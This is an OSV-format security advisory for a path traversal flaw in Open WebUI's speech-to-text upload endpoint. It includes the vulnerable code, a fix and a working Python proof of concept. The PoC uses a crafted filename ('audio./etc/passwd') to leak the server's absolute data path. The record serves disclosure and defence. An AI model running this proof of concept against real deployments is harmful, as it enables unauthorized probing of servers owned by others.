{"id":"PYSEC-2026-2764","summary":"Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`","details":"### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next       = file.filename.split(\".\")[-1]       # attacker-controlled, no sanitisation\nfilename  = f\"{id}.{ext}\"                      # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n    f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** — match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 — sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 — suppress internal path in error response\nexcept Exception as e:\n    log.exception(e)\n    raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL    = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n                      json={\"email\": EMAIL, \"password\": PASSWORD},\n                      timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n    f'--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; '\n    f'filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n'\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v1/audio/transcriptions\",\n    data=body,\n    headers={\"Authorization\": f\"Bearer {token}\",\n             \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n    timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n\u003e **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.","aliases":["CVE-2026-28786","GHSA-vvxm-vxmr-624h"],"modified":"2026-07-13T16:32:25.008107891Z","published":"2026-07-13T14:36:44.851055Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28786"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vvxm-vxmr-624h"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2764.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}